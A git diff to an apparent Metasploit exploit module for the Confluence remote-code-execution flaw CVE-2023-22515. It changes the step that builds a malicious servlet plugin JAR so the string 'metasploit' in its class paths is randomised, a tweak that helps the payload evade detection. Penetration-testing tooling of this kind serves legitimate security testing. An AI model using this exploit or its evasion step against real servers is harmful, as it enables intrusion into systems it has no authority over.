diff --git a/modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb b/modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
index ade045ddf48e..8aa11875dae4 100644
--- a/modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
+++ b/modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
@@ -204,8 +204,9 @@ def exploit
plugin_key = rand_text_alpha(8)
- # 5. Construct a malicious Servlet plugin JAR file.
- jar = payload.encoded_jar
+ # 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string
+ # 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub).
+ jar = payload.encoded_jar(random: true)
jar.add_file(
'atlassian-plugin.xml',
@@ -215,7 +216,7 @@ def exploit
#{rand_text_alphanumeric(8)}
#{rand(1024)}.#{rand(1024)}
-
+
#{normalize_uri(payload_endpoint)}
)